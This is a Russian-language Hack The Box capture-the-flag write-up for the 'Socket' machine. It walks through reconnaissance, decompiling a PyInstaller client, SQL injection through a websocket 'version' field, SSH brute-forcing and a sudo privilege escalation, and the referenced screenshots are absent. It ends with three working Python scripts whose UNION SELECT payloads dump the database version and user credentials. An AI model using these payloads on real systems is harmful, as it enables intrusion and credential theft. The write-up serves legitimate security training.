Socket Hack The Box WriteUp by artrone
Доброго времени суток! Сегодня у нас средняя по сложности тачка "Socket".
Разведка
Как и всегда, начинаем со сканирования nmap'ом:
Как мы видим, у нас открыт 22-й, 80-й и 5789-й порты. На 5789-ом порту работает websocket.
Использовав инструмент для обнаружения уязвимостей ws, мы получаем такой результат:
Подробнее о CSWSH: https://christian-schneider.net/CrossSiteWebSocketHijacking.html
Давайте теперь перейдем на сайт, предварительно изменив /etc/hosts:
В конце страницы нам предлагается скачать приложение. Давайте так и поступим.
Точка входа
Скачался архив. Распаковав его, получаем картинку и исполняемый файл:
Теперь нам нужно его каким-то образом изучить. Я пытался использовать Ghidra, но ничего путного не нашел.
Поскольку это двоичный ELF файл, то предлагаю его декомпилировать с помощью pyinstxtractor
В папке qreader_extracted появился файл qreader.pyc. Теперь нужно его превратить в qreader.py с помощью uncompyle6
В итоге, мы получаем такой вот результат:
Как мы видим, параметр 'version' может быть уязвим для SQLi.
Давайте напишем простой скрипт для проверки данной теории:
Я пробовал версию 0.0.1, 0.0.2, 0.0.3 и т.д. Если версия > 0.0.2, то возникает ошибка. Поэтому, работаем с ней. По результатам мы получили 4 столбца.
Теперь давайте узнаем версию БД:
Получена версия sqlite 3.37.2. Отлично. У нас уязвим первый столбец. Теперь давайте видоизменим скрипт для получения логина:
Логин успешно получен. Делаем те же действия для получения пароля:
Пароль тоже получен. Теперь у нас появилась проблема с логином- где он? Это имя и фамилия? Или что?
Давайте воспользуемся username генератором:
Теперь, предварительно декриптнув хэш пароля и закинув его в текстовый файлик, воспользуемся Hydra:
Подключаемся через SSH и лутаем user flag:
Эскалация привилегий
Сначала давайте посмотрим наши права через sudo -l:
Так как мы можем исполнять файл build-installer.sh от имени root'a, то предлагаю воспользоваться этим.
Исследовав build-installer.sh, мы находим такую строку:
Соответственно, нужно выполнить команду "make" для файла с расширением .py.
Как мы видим, мы не можем получить оболочку от имени рута.
Давайте пойдем по другому пути и условию в изначальном коде:
В данном условии расширение файла должно быть .spec и комана "bulid".
Все успешно получилось и рут флаг взят!
Использованные скрипты
from websocket import create_connection
import websocket
import json
ws_host = 'ws://qreader.htb:5789/version'
ws = create_connection(ws_host)
item = '0.0.2" UNION SELECT sqlite_version(),NULL,NULL,NULL;— -'
json_query = {'version':item}
ws.send(json.dumps(json_query))
result = ws.recv()
print(result)
ws.close()
from websocket import create_connection
import json
ws_host = 'ws://qreader.htb:5789'
VERSION = '0.0.2" UNION SELECT group_concat(answer),"2","3","4" FROM answers;-- -'
ws = create_connection(ws_host + '/version')
ws.send(json.dumps({'version': VERSION}))
result = ws.recv()
print(result)
ws.close()
from websocket import create_connection
import json
ws_host = 'ws://qreader.htb:5789'
VERSION = '0.0.2" UNION SELECT username,password,"3","4" from users;-- -'
ws = create_connection(ws_host + '/version')
ws.send(json.dumps({'version': VERSION}))
result = ws.recv()
print(result)
ws.close()
НАШ ТГ КАНАЛ: https://t.me/hackerblog